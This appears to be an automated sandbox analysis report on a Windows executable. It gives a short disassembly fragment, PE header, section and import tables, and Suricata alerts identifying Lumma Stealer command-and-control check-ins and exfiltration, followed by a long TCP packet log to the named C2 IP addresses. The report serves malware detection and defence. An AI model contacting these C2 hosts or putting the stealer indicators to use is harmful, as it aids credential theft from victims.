call dword ptr [004080B4h]
push ebp
call dword ptr [004082C0h]
push 00000008h
mov dword ptr [00472EB8h], eax
call 00007F22DC8200FBh
push ebp
push 000002B4h
mov dword ptr [00472DD0h], eax
lea eax, dword ptr [esp+38h]
push eax
push ebp
push 00409264h
call dword ptr [00408184h]
push 0040924Ch
push 0046ADC0h
call 00007F22DC81FDDDh
call dword ptr [004080B0h]
push eax
mov edi, 004C30A0h
push edi
call 00007F22DC81FDCBh
push ebp
call dword ptr [00408134h]
cmp word ptr [004C30A0h], 0022h
mov dword ptr [00472DD8h], eax
mov eax, edi
jne 00007F22DC81D6CAh
push 00000022h
pop esi
mov eax, 004C30A2h
push esi
push eax
call 00007F22DC81FAA1h
push eax
call dword ptr [00408260h]
mov esi, eax
mov dword ptr [esp+1Ch], esi
jmp 00007F22DC81D753h
push 00000020h
pop ebx
cmp ax, bx
jne 00007F22DC81D6CAh
add esi, 02h
cmp word ptr [esi], bx

Rich Headers

Programming Language:

[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[ C ] VS2010 SP1 build 40219
[RES] VS2010 SP1 build 40219
[LNK] VS2010 SP1 build 40219

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x9b34	0xb4	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xf4000	0x9a96	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x11154b	0x36e8
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x7a000	0x964	.ndata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8000	0x2d0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x6dae	0x6e00	00499a6f70259150109c809d6aa0e6ed	False	0.6611150568181818	data	6.508529563136936	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8000	0x2a62	0x2c00	07990aaa54c3bc638bb87a87f3fb13e3	False	0.3526278409090909	data	4.390535020989255	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xb000	0x67ebc	0x200	014871d9a00f0e0c8c2a7cd25606c453	False	0.203125	data	1.4308602597540492	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x73000	0x81000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0xf4000	0x9a96	0x9c00	ae624263b9904f68108306478659462a	False	0.6786858974358975	data	6.187203489277354	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xfe000	0xf32	0x1000	b75ce97664651fd3fb45c4f576af48f9	False	0.599853515625	data	5.515828744966662	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0xf4250	0x6104	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced	English	United States	0.9466902882911902
RT_ICON	0xfa354	0x299	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced	English	United States	0.9939849624060151
RT_ICON	0xfa5f0	0x435	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced	English	United States	1.0102135561745589
RT_ICON	0xfaa28	0x2668	Device independent bitmap graphic, 48 x 96 x 32, image size 9792	English	United States	0.06763628966639544
RT_ICON	0xfd090	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.21010638297872342
RT_DIALOG	0xfd4f8	0x100	data	English	United States	0.5234375
RT_DIALOG	0xfd5f8	0x11c	data	English	United States	0.6056338028169014
RT_DIALOG	0xfd714	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0xfd774	0x4c	data	English	United States	0.7894736842105263
RT_MANIFEST	0xfd7c0	0x2d6	XML 1.0 document, ASCII text, with very long lines (726), with no line terminators	English	United States	0.5647382920110193

Imports

DLL	Import
KERNEL32.dll	SetFileTime, CompareFileTime, SearchPathW, GetShortPathNameW, GetFullPathNameW, MoveFileW, SetCurrentDirectoryW, GetFileAttributesW, GetLastError, CreateDirectoryW, SetFileAttributesW, Sleep, GetTickCount, GetFileSize, GetModuleFileNameW, GetCurrentProcess, CopyFileW, ExitProcess, GetWindowsDirectoryW, GetTempPathW, GetCommandLineW, SetErrorMode, lstrcpynA, CloseHandle, lstrcpynW, GetDiskFreeSpaceW, GlobalUnlock, GlobalLock, CreateThread, LoadLibraryW, CreateProcessW, lstrcmpiA, CreateFileW, GetTempFileNameW, lstrcatW, GetProcAddress, LoadLibraryA, GetModuleHandleA, OpenProcess, lstrcpyW, GetVersionExW, GetSystemDirectoryW, GetVersion, lstrcpyA, RemoveDirectoryW, lstrcmpA, lstrcmpiW, lstrcmpW, ExpandEnvironmentStringsW, GlobalAlloc, WaitForSingleObject, GetExitCodeProcess, GlobalFree, GetModuleHandleW, LoadLibraryExW, FreeLibrary, WritePrivateProfileStringW, GetPrivateProfileStringW, WideCharToMultiByte, lstrlenA, MulDiv, WriteFile, ReadFile, MultiByteToWideChar, SetFilePointer, FindClose, FindNextFileW, FindFirstFileW, DeleteFileW, lstrlenW
USER32.dll	GetAsyncKeyState, IsDlgButtonChecked, ScreenToClient, GetMessagePos, CallWindowProcW, IsWindowVisible, LoadBitmapW, CloseClipboard, SetClipboardData, EmptyClipboard, OpenClipboard, TrackPopupMenu, GetWindowRect, AppendMenuW, CreatePopupMenu, GetSystemMetrics, EndDialog, EnableMenuItem, GetSystemMenu, SetClassLongW, IsWindowEnabled, SetWindowPos, DialogBoxParamW, CheckDlgButton, CreateWindowExW, SystemParametersInfoW, RegisterClassW, SetDlgItemTextW, GetDlgItemTextW, MessageBoxIndirectW, CharNextA, CharUpperW, CharPrevW, wvsprintfW, DispatchMessageW, PeekMessageW, wsprintfA, DestroyWindow, CreateDialogParamW, SetTimer, SetWindowTextW, PostQuitMessage, SetForegroundWindow, ShowWindow, wsprintfW, SendMessageTimeoutW, LoadCursorW, SetCursor, GetWindowLongW, GetSysColor, CharNextW, GetClassInfoW, ExitWindowsEx, IsWindow, GetDlgItem, SetWindowLongW, LoadImageW, GetDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, EndPaint, FindWindowExW
GDI32.dll	SetBkColor, GetDeviceCaps, DeleteObject, CreateBrushIndirect, CreateFontIndirectW, SetBkMode, SetTextColor, SelectObject
SHELL32.dll	SHBrowseForFolderW, SHGetPathFromIDListW, SHGetFileInfoW, ShellExecuteW, SHFileOperationW, SHGetSpecialFolderLocation
ADVAPI32.dll	RegEnumKeyW, RegOpenKeyExW, RegCloseKey, RegDeleteKeyW, RegDeleteValueW, RegCreateKeyExW, RegSetValueExW, RegQueryValueExW, RegEnumValueW
COMCTL32.dll	ImageList_AddMasked, ImageList_Destroy, ImageList_Create
ole32.dll	CoTaskMemFree, OleInitialize, OleUninitialize, CoCreateInstance
VERSION.dll	GetFileVersionInfoSizeW, GetFileVersionInfoW, VerQueryValueW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-01T16:44:29.504982+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49738	172.67.198.102	443	TCP
2025-01-01T16:44:30.379263+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49738	172.67.198.102	443	TCP
2025-01-01T16:44:30.379263+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49738	172.67.198.102	443	TCP
2025-01-01T16:44:30.890839+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49739	172.67.198.102	443	TCP
2025-01-01T16:44:31.373117+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49739	172.67.198.102	443	TCP
2025-01-01T16:44:31.373117+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49739	172.67.198.102	443	TCP
2025-01-01T16:44:31.955981+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49740	172.67.198.102	443	TCP
2025-01-01T16:44:33.031081+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49741	172.67.198.102	443	TCP
2025-01-01T16:44:34.356454+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49742	172.67.198.102	443	TCP
2025-01-01T16:44:35.931167+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49743	172.67.198.102	443	TCP
2025-01-01T16:44:36.904572+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49744	172.67.198.102	443	TCP
2025-01-01T16:44:37.405050+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49744	172.67.198.102	443	TCP
2025-01-01T16:44:37.865938+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49745	172.67.198.102	443	TCP
2025-01-01T16:44:38.305848+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49745	172.67.198.102	443	TCP
2025-01-01T16:44:39.187276+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49746	185.161.251.21	443	TCP
2025-01-01T16:44:39.940228+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49747	104.21.37.128	443	TCP
2025-01-01T16:44:40.300980+0100	2008438	ET MALWARE Possible Windows executable sent when remote host claims to send a Text File	1	104.21.37.128	443	192.168.2.4	49747	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 1, 2025 16:44:29.019114017 CET	49738	443	192.168.2.4	172.67.198.102
Jan 1, 2025 16:44:29.019148111 CET	443	49738	172.67.198.102	192.168.2.4
Jan 1, 2025 16:44:29.019217968 CET	49738	443	192.168.2.4	172.67.198.102
Jan 1, 2025 16:44:29.022134066 CET	49738	443	192.168.2.4	172.67.198.102
Jan 1, 2025 16:44:29.022150993 CET	443	49738	172.67.198.102	192.168.2.4
Jan 1, 2025 16:44:29.504900932 CET	443	49738	172.67.198.102	192.168.2.4
Jan 1, 2025 16:44:29.504981995 CET	49738	443	192.168.2.4	172.67.198.102
Jan 1, 2025 16:44:29.642402887 CET	49738	443	192.168.2.4	172.67.198.102
Jan 1, 2025 16:44:29.642415047 CET	443	49738	172.67.198.102	192.168.2.4
Jan 1, 2025 16:44:29.642791986 CET	443	49738	172.67.198.102	192.168.2.4
Jan 1, 2025 16:44:29.688607931 CET	49738	443	192.168.2.4	172.67.198.102
Jan 1, 2025 16:44:29.764698982 CET	49738	443	192.168.2.4	172.67.198.102
Jan 1, 2025 16:44:29.764736891 CET	49738	443	192.168.2.4	172.67.198.102
Jan 1, 2025 16:44:29.764787912 CET	443	49738	172.67.198.102	192.168.2.4
Jan 1, 2025 16:44:30.379259109 CET	443	49738	172.67.198.102	192.168.2.4
Jan 1, 2025 16:44:30.379352093 CET	443	49738	172.67.198.102	192.168.2.4
Jan 1, 2025 16:44:30.379407883 CET	49738	443	192.168.2.4	172.67.198.102
Jan 1, 2025 16:44:30.381692886 CET	49738	443	192.168.2.4	172.67.198.102
Jan 1, 2025 16:44:30.381709099 CET	443	49738	172.67.198.102	192.168.2.4
Jan 1, 2025 16:44:30.387316942 CET	49739	443	192.168.2.4	172.67.198.102
Jan 1, 2025 16:44:30.387351990 CET	443	49739	172.67.198.102	192.168.2.4
Jan 1, 2025 16:44:30.387531042 CET	49739	443	192.168.2.4	172.67.198.102
Jan 1, 2025 16:44:30.387711048 CET	49739	443	192.168.2.4	172.67.198.102
Jan 1, 2025 16:44:30.387723923 CET	443	49739	172.67.198.102	192.168.2.4
Jan 1, 2025 16:44:30.890752077 CET	443	49739	172.67.198.102	192.168.2.4
Jan 1, 2025 16:44:30.890839100 CET	49739	443	192.168.2.4	172.67.198.102
Jan 1, 2025 16:44:30.891985893 CET	49739	443	192.168.2.4	172.67.198.102
Jan 1, 2025 16:44:30.891993999 CET	443	49739	172.67.198.102	192.168.2.4
Jan 1, 2025 16:44:30.892218113 CET	443	49739	172.67.198.102	192.168.2.4
Jan 1, 2025 16:44:30.893425941 CET	49739	443	192.168.2.4	172.67.198.102
Jan 1, 2025 16:44:30.893443108 CET	49739	443	192.168.2.4	172.67.198.102
Jan 1, 2025 16:44:30.893491983 CET	443	49739	172.67.198.102	192.168.2.4
Jan 1, 2025 16:44:31.373121977 CET	443	49739	172.67.198.102	192.168.2.4
Jan 1, 2025 16:44:31.373183966 CET	443	49739	172.67.198.102	192.168.2.4
Jan 1, 2025 16:44:31.373213053 CET	443	49739	172.67.198.102	192.168.2.4
Jan 1, 2025 16:44:31.373250961 CET	443	49739	172.67.198.102	192.168.2.4
Jan 1, 2025 16:44:31.373280048 CET	443	49739	172.67.198.102	192.168.2.4
Jan 1, 2025 16:44:31.373338938 CET	443	49739	172.67.198.102	192.168.2.4
Jan 1, 2025 16:44:31.373373032 CET	49739	443	192.168.2.4	172.67.198.102
Jan 1, 2025 16:44:31.373373032 CET	49739	443	192.168.2.4	172.67.198.102
Jan 1, 2025 16:44:31.373398066 CET	443	49739	172.67.198.102	192.168.2.4
Jan 1, 2025 16:44:31.373466015 CET	49739	443	192.168.2.4	172.67.198.102
Jan 1, 2025 16:44:31.373543024 CET	443	49739	172.67.198.102	192.168.2.4
Jan 1, 2025 16:44:31.373591900 CET	49739	443	192.168.2.4	172.67.198.102
Jan 1, 2025 16:44:31.374125004 CET	443	49739	172.67.198.102	192.168.2.4
Jan 1, 2025 16:44:31.380485058 CET	443	49739	172.67.198.102	192.168.2.4
Jan 1, 2025 16:44:31.380521059 CET	443	49739	172.67.198.102	192.168.2.4
Jan 1, 2025 16:44:31.380564928 CET	443	49739	172.67.198.102	192.168.2.4
Jan 1, 2025 16:44:31.380577087 CET	49739	443	192.168.2.4	172.67.198.102
Jan 1, 2025 16:44:31.380585909 CET	443	49739	172.67.198.102	192.168.2.4
Jan 1, 2025 16:44:31.380640984 CET	443	49739	172.67.198.102	192.168.2.4
Jan 1, 2025 16:44:31.380705118 CET	49739	443	192.168.2.4	172.67.198.102
Jan 1, 2025 16:44:31.380793095 CET	49739	443	192.168.2.4	172.67.198.102
Jan 1, 2025 16:44:31.381166935 CET	49739	443	192.168.2.4	172.67.198.102
Jan 1, 2025 16:44:31.381187916 CET	443	49739	172.67.198.102	192.168.2.4
Jan 1, 2025 16:44:31.381201029 CET	49739	443	192.168.2.4	172.67.198.102
Jan 1, 2025 16:44:31.381206036 CET	443	49739	172.67.198.102	192.168.2.4
Jan 1, 2025 16:44:31.441633940 CET	49740	443	192.168.2.4	172.67.198.102
Jan 1, 2025 16:44:31.441675901 CET	443	49740	172.67.198.102	192.168.2.4
Jan 1, 2025 16:44:31.441759109 CET	49740	443	192.168.2.4	172.67.198.102
Jan 1, 2025 16:44:31.442069054 CET	49740	443	192.168.2.4	172.67.198.102
Jan 1, 2025 16:44:31.442084074 CET	443	49740	172.67.198.102	192.168.2.4
Jan 1, 2025 16:44:31.955895901 CET	443	49740	172.67.198.102	192.168.2.4
Jan 1, 2025 16:44:31.955981016 CET	49740	443	192.168.2.4	172.67.198.102
Jan 1, 2025 16:44:31.966701031 CET	49740	443	192.168.2.4	172.67.198.102
Jan 1, 2025 16:44:31.966723919 CET	443	49740	172.67.198.102	192.168.2.4
Jan 1, 2025 16:44:31.966918945 CET	443	49740	172.67.198.102	192.168.2.4
Jan 1, 2025 16:44:31.968090057 CET	49740	443	192.168.2.4	172.67.198.102
Jan 1, 2025 16:44:31.968302965 CET	49740	443	192.168.2.4	172.67.198.102
Jan 1, 2025 16:44:31.968336105 CET	443	49740	172.67.198.102	192.168.2.4
Jan 1, 2025 16:44:31.968391895 CET	49740	443	192.168.2.4	172.67.198.102
Jan 1, 2025 16:44:31.968400002 CET	443	49740	172.67.198.102	192.168.2.4
Jan 1, 2025 16:44:32.552669048 CET	443	49740	172.67.198.102	192.168.2.4
Jan 1, 2025 16:44:32.552757025 CET	443	49740	172.67.198.102	192.168.2.4
Jan 1, 2025 16:44:32.552803993 CET	49740	443	192.168.2.4	172.67.198.102
Jan 1, 2025 16:44:32.552958012 CET	49740	443	192.168.2.4	172.67.198.102
Jan 1, 2025 16:44:32.552974939 CET	443	49740	172.67.198.102	192.168.2.4
Jan 1, 2025 16:44:32.572079897 CET	49741	443	192.168.2.4	172.67.198.102
Jan 1, 2025 16:44:32.572115898 CET	443	49741	172.67.198.102	192.168.2.4
Jan 1, 2025 16:44:32.572186947 CET	49741	443	192.168.2.4	172.67.198.102
Jan 1, 2025 16:44:32.572524071 CET	49741	443	192.168.2.4	172.67.198.102
Jan 1, 2025 16:44:32.572536945 CET	443	49741	172.67.198.102	192.168.2.4
Jan 1, 2025 16:44:33.031013966 CET	443	49741	172.67.198.102	192.168.2.4
Jan 1, 2025 16:44:33.031080961 CET	49741	443	192.168.2.4	172.67.198.102
Jan 1, 2025 16:44:33.032207966 CET	49741	443	192.168.2.4	172.67.198.102
Jan 1, 2025 16:44:33.032213926 CET	443	49741	172.67.198.102	192.168.2.4
Jan 1, 2025 16:44:33.032411098 CET	443	49741	172.67.198.102	192.168.2.4
Jan 1, 2025 16:44:33.034141064 CET	49741	443	192.168.2.4	172.67.198.102
Jan 1, 2025 16:44:33.034337044 CET	49741	443	192.168.2.4	172.67.198.102
Jan 1, 2025 16:44:33.034364939 CET	443	49741	172.67.198.102	192.168.2.4
Jan 1, 2025 16:44:33.830725908 CET	443	49741	172.67.198.102	192.168.2.4
Jan 1, 2025 16:44:33.830802917 CET	443	49741	172.67.198.102	192.168.2.4
Jan 1, 2025 16:44:33.830955029 CET	49741	443	192.168.2.4	172.67.198.102
Jan 1, 2025 16:44:33.831084013 CET	49741	443	192.168.2.4	172.67.198.102
Jan 1, 2025 16:44:33.831096888 CET	443	49741	172.67.198.102	192.168.2.4
Jan 1, 2025 16:44:33.901377916 CET	49742	443	192.168.2.4	172.67.198.102
Jan 1, 2025 16:44:33.901422024 CET	443	49742	172.67.198.102	192.168.2.4
Jan 1, 2025 16:44:33.901511908 CET	49742	443	192.168.2.4	172.67.198.102
Jan 1, 2025 16:44:33.901820898 CET	49742	443	192.168.2.4	172.67.198.102
Jan 1, 2025 16:44:33.901835918 CET	443	49742	172.67.198.102	192.168.2.4
Jan 1, 2025 16:44:34.356373072 CET	443	49742	172.67.198.102	192.168.2.4
Jan 1, 2025 16:44:34.356453896 CET	49742	443	192.168.2.4	172.67.198.102
Jan 1, 2025 16:44:34.357705116 CET	49742	443	192.168.2.4	172.67.198.102
Jan 1, 2025 16:44:34.357712984 CET	443	49742	172.67.198.102	192.168.2.4
Jan 1, 2025 16:44:34.357913017 CET	443	49742	172.67.198.102	192.168.2.4
Jan 1, 2025 16:44:34.368952990 CET	49742	443	192.168.2.4	172.67.198.102
Jan 1, 2025 16:44:34.369090080 CET	49742	443	192.168.2.4	172.67.198.102
Jan 1, 2025 16:44:34.369126081 CET	443	49742	172.67.198.102	192.168.2.4
Jan 1, 2025 16:44:34.369180918 CET	49742	443	192.168.2.4	172.67.198.102
Jan 1, 2025 16:44:34.369190931 CET	443	49742	172.67.198.102	192.168.2.4
Jan 1, 2025 16:44:35.108968973 CET	443	49742	172.67.198.102	192.168.2.4
Jan 1, 2025 16:44:35.109062910 CET	443	49742	172.67.198.102	192.168.2.4
Jan 1, 2025 16:44:35.109114885 CET	49742	443	192.168.2.4	172.67.198.102
Jan 1, 2025 16:44:35.109242916 CET	49742	443	192.168.2.4	172.67.198.102
Jan 1, 2025 16:44:35.109266996 CET	443	49742	172.67.198.102	192.168.2.4
Jan 1, 2025 16:44:35.473254919 CET	49743	443	192.168.2.4	172.67.198.102
Jan 1, 2025 16:44:35.473283052 CET	443	49743	172.67.198.102	192.168.2.4
Jan 1, 2025 16:44:35.473351955 CET	49743	443	192.168.2.4	172.67.198.102
Jan 1, 2025 16:44:35.474004984 CET	49743	443	192.168.2.4	172.67.198.102
Jan 1, 2025 16:44:35.474014997 CET	443	49743	172.67.198.102	192.168.2.4
Jan 1, 2025 16:44:35.930915117 CET	443	49743	172.67.198.102	192.168.2.4
Jan 1, 2025 16:44:35.931166887 CET	49743	443	192.168.2.4	172.67.198.102
Jan 1, 2025 16:44:35.932539940 CET	49743	443	192.168.2.4	172.67.198.102
Jan 1, 2025 16:44:35.932545900 CET	443	49743	172.67.198.102	192.168.2.4
Jan 1, 2025 16:44:35.932740927 CET	443	49743	172.67.198.102	192.168.2.4
Jan 1, 2025 16:44:35.933815956 CET	49743	443	192.168.2.4	172.67.198.102
Jan 1, 2025 16:44:35.934034109 CET	49743	443	192.168.2.4	172.67.198.102
Jan 1, 2025 16:44:35.934039116 CET	443	49743	172.67.198.102	192.168.2.4
Jan 1, 2025 16:44:36.401545048 CET	443	49743	172.67.198.102	192.168.2.4
Jan 1, 2025 16:44:36.401618004 CET	443	49743	172.67.198.102	192.168.2.4
Jan 1, 2025 16:44:36.401673079 CET	49743	443	192.168.2.4	172.67.198.102
Jan 1, 2025 16:44:36.401948929 CET	49743	443	192.168.2.4	172.67.198.102
Jan 1, 2025 16:44:36.401959896 CET	443	49743	172.67.198.102	192.168.2.4
Jan 1, 2025 16:44:36.447833061 CET	49744	443	192.168.2.4	172.67.198.102
Jan 1, 2025 16:44:36.447885036 CET	443	49744	172.67.198.102	192.168.2.4
Jan 1, 2025 16:44:36.447954893 CET	49744	443	192.168.2.4	172.67.198.102
Jan 1, 2025 16:44:36.448246002 CET	49744	443	192.168.2.4	172.67.198.102
Jan 1, 2025 16:44:36.448266029 CET	443	49744	172.67.198.102	192.168.2.4
Jan 1, 2025 16:44:36.904330015 CET	443	49744	172.67.198.102	192.168.2.4
Jan 1, 2025 16:44:36.904572010 CET	49744	443	192.168.2.4	172.67.198.102
Jan 1, 2025 16:44:36.905760050 CET	49744	443	192.168.2.4	172.67.198.102
Jan 1, 2025 16:44:36.905769110 CET	443	49744	172.67.198.102	192.168.2.4
Jan 1, 2025 16:44:36.905968904 CET	443	49744	172.67.198.102	192.168.2.4
Jan 1, 2025 16:44:36.907464027 CET	49744	443	192.168.2.4	172.67.198.102
Jan 1, 2025 16:44:36.907608986 CET	49744	443	192.168.2.4	172.67.198.102
Jan 1, 2025 16:44:36.907613993 CET	443	49744	172.67.198.102	192.168.2.4
Jan 1, 2025 16:44:37.405080080 CET	443	49744	172.67.198.102	192.168.2.4
Jan 1, 2025 16:44:37.405191898 CET	443	49744	172.67.198.102	192.168.2.4
Jan 1, 2025 16:44:37.405241013 CET	49744	443	192.168.2.4	172.67.198.102
Jan 1, 2025 16:44:37.405364037 CET	49744	443	192.168.2.4	172.67.198.102
Jan 1, 2025 16:44:37.405378103 CET	443	49744	172.67.198.102	192.168.2.4
Jan 1, 2025 16:44:37.406924009 CET	49745	443	192.168.2.4	172.67.198.102
Jan 1, 2025 16:44:37.406970024 CET	443	49745	172.67.198.102	192.168.2.4
Jan 1, 2025 16:44:37.407088041 CET	49745	443	192.168.2.4	172.67.198.102
Jan 1, 2025 16:44:37.407402039 CET	49745	443	192.168.2.4	172.67.198.102
Jan 1, 2025 16:44:37.407418966 CET	443	49745	172.67.198.102	192.168.2.4
Jan 1, 2025 16:44:37.865835905 CET	443	49745	172.67.198.102	192.168.2.4
Jan 1, 2025 16:44:37.865937948 CET	49745	443	192.168.2.4	172.67.198.102
Jan 1, 2025 16:44:37.885597944 CET	49745	443	192.168.2.4	172.67.198.102
Jan 1, 2025 16:44:37.885620117 CET	443	49745	172.67.198.102	192.168.2.4
Jan 1, 2025 16:44:37.885941982 CET	443	49745	172.67.198.102	192.168.2.4
Jan 1, 2025 16:44:37.902223110 CET	49745	443	192.168.2.4	172.67.198.102
Jan 1, 2025 16:44:37.902223110 CET	49745	443	192.168.2.4	172.67.198.102
Jan 1, 2025 16:44:37.902304888 CET	443	49745	172.67.198.102	192.168.2.4
Jan 1, 2025 16:44:38.305870056 CET	443	49745	172.67.198.102	192.168.2.4
Jan 1, 2025 16:44:38.306003094 CET	443	49745	172.67.198.102	192.168.2.4
Jan 1, 2025 16:44:38.306271076 CET	49745	443	192.168.2.4	172.67.198.102
Jan 1, 2025 16:44:38.306668043 CET	49745	443	192.168.2.4	172.67.198.102
Jan 1, 2025 16:44:38.306668043 CET	49745	443	192.168.2.4	172.67.198.102
Jan 1, 2025 16:44:38.306693077 CET	443	49745	172.67.198.102	192.168.2.4
Jan 1, 2025 16:44:38.306710005 CET	443	49745	172.67.198.102	192.168.2.4
Jan 1, 2025 16:44:38.418853998 CET	49746	443	192.168.2.4	185.161.251.21
Jan 1, 2025 16:44:38.418895006 CET	443	49746	185.161.251.21	192.168.2.4
Jan 1, 2025 16:44:38.419008970 CET	49746	443	192.168.2.4	185.161.251.21
Jan 1, 2025 16:44:38.419394016 CET	49746	443	192.168.2.4	185.161.251.21
Jan 1, 2025 16:44:38.419409037 CET	443	49746	185.161.251.21	192.168.2.4
Jan 1, 2025 16:44:39.187156916 CET	443	49746	185.161.251.21	192.168.2.4
Jan 1, 2025 16:44:39.187275887 CET	49746	443	192.168.2.4	185.161.251.21
Jan 1, 2025 16:44:39.189101934 CET	49746	443	192.168.2.4	185.161.251.21
Jan 1, 2025 16:44:39.189111948 CET	443	49746	185.161.251.21	192.168.2.4
Jan 1, 2025 16:44:39.189436913 CET	443	49746	185.161.251.21	192.168.2.4
Jan 1, 2025 16:44:39.190469027 CET	49746	443	192.168.2.4	185.161.251.21
Jan 1, 2025 16:44:39.235330105 CET	443	49746	185.161.251.21	192.168.2.4
Jan 1, 2025 16:44:39.448502064 CET	443	49746	185.161.251.21	192.168.2.4
Jan 1, 2025 16:44:39.448579073 CET	443	49746	185.161.251.21	192.168.2.4
Jan 1, 2025 16:44:39.448633909 CET	49746	443	192.168.2.4	185.161.251.21
Jan 1, 2025 16:44:39.448900938 CET	49746	443	192.168.2.4	185.161.251.21
Jan 1, 2025 16:44:39.448900938 CET	49746	443	192.168.2.4	185.161.251.21
Jan 1, 2025 16:44:39.448915005 CET	443	49746	185.161.251.21	192.168.2.4
Jan 1, 2025 16:44:39.448928118 CET	443	49746	185.161.251.21	192.168.2.4
Jan 1, 2025 16:44:39.475716114 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:39.475743055 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:39.475814104 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:39.476100922 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:39.476111889 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:39.940140963 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:39.940227985 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:39.941824913 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:39.941833019 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:39.942152977 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:39.943851948 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:39.991334915 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:40.211409092 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:40.211469889 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:40.211545944 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:40.211565018 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:40.211627960 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:40.211669922 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:40.211707115 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:40.211715937 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:40.211721897 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:40.211750031 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:40.211774111 CET	443	49747	104.21.37.128	192.168.2.4
